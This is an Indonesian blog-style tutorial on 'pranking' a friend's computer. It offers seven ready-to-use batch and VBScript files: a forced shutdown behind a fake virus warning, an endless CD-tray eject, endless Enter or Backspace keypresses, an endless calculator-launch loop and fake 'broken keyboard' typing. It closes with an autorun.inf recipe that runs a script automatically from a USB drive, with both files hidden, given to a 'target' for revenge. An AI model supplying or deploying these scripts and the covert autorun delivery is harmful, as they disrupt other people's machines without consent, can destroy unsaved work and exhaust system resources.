Mengerjai Komputer Teman Dengan Script Visual Basic Sederhana

Salam cybers...
Jika kamu pernah dikerjain orang lain atau temen kamu, kini saatnya untuk balas dendam hahaha!.
Untuk mengerjai dan menjahili computer orang kamu tahu kan “VISUAL BASIC” pemprograman dengan bahasa computer / bahasa mesin / bahasa aneh / bahasa memusingkan /
Atau lebih dikenal dengan sebutan “SCRIPT” disini akan kita buat dengan script visual basic saja Karena lebih mudah.
Pertama yaitu buka aplikasi text editor bisa notepad , wordPad,dll.
Langsung ke TKP

1. mengerjai computer teman dengan Shutdown Computer terus menerus
Computer akan mati,hidup,mati lagi, bila script di jalankan!
Copy script di bawah ini ke dalam notepad:


@echo off
msg * Komputer loe Terinfeksi Virus!
shutdown -c “Error! Virus Menyebar Keseluruh System komputer!” -s -t 0


Kemudian simpan dengan nama yang kamu mau,contoh: “namafile.BAT” & Berikan kepada orang yang ingin kamu kerjain. Info: text warna merah dapat kamu ganti sesuai keinginan

2.mengerjai computer teman dengan membuka,tutup,buka lagi DVD room ( Mengeject CD/DVD-Drive Terus Menerus)


Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop


lalu simpan dengan nama keinginan anda“namafile.VBS” & Berikan ke computer target,

3. mengerjai orang lain Dengan memencet Tombol ENTER Terus Menerus


Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop


trus save dengan “namafile.VBS” & Berikan keteman Anda

4. mengerjai komputer orang Dengan Pesan Lambat Notepad “Hello, how are you? I am good thanks!”


WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject(“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 100
WshShell.AppActivate “Notepad”
WScript.Sleep 500
WshShell.SendKeys “Hel”
WScript.Sleep 500
WshShell.SendKeys “lo ”
WScript.Sleep 500
WshShell.SendKeys “, ho”
WScript.Sleep 500
WshShell.SendKeys “w a”
WScript.Sleep 500
WshShell.SendKeys “re ”
WScript.Sleep 500
WshShell.SendKeys “you”
WScript.Sleep 500
WshShell.SendKeys “? ”
WScript.Sleep 500
WshShell.SendKeys “I a”
WScript.Sleep 500
WshShell.SendKeys “m g”
WScript.Sleep 500
WshShell.SendKeys “ood”
WScript.Sleep 500
WshShell.SendKeys ” th”
WScript.Sleep 500
WshShell.SendKeys “ank”
WScript.Sleep 500
WshShell.SendKeys “s! “


Simpan dengan “namafile.VBS” & Berikan keteman kamu info:kata Hello, how are you? I am good thanks! Dapat kamu ganti sesuai keinginan

5. memencet Backspace terus menerus


MsgBox “Maaf, Anda Harus Mengulang Kembali”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop


lalu save dengan “namafile.VBS” dan kasih ke teman kamu info:text merah dapat diganti sesuai keinginan!

6. menjahili dengan Membuka Calculator Terus Menerus


@ECHO off
:top
START %SystemRoot%\system32\calc.exe
GOTO top


save dengan “namafile.BAT” & Berikan keteman kamu

7. mengerjai Dengan Keyboard pesan keyboard rusak


Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “Maaf, Keyboard Tidak Berfungsi! Harap Diperbaiki”
loop

save dengan “namafile.VBS” & Berikan keteman Anda info:text merah dapat anda ganti!..


Puaskan Buat mengerjai/menjahili orang. Program tadi akan langsung jalan ketika file tersebut dieksekusi atau dijalankan oleh si pemakai.jika ingin jalan sendiri secara otomatis buat file autorun.inf caranya:
Buka notepad, copy kode ini

[Autorun]
shellexecute=wscript.exe NAMAFILE.FORMAT
action=Have a nice day

ganti text warna merah NAMAFILE.FORMAT dengan nama file yang tadi dibuat
lalu save dengan nama ” autorun.inf” pilihan save as type pilih “all files”
Enter>selesai.
Langkah terakhir copy file autorun.inf dan file ke flashdisk/cd/disket teman anda. Kemudian hidden keduanya. Good luck !
Salam cybers…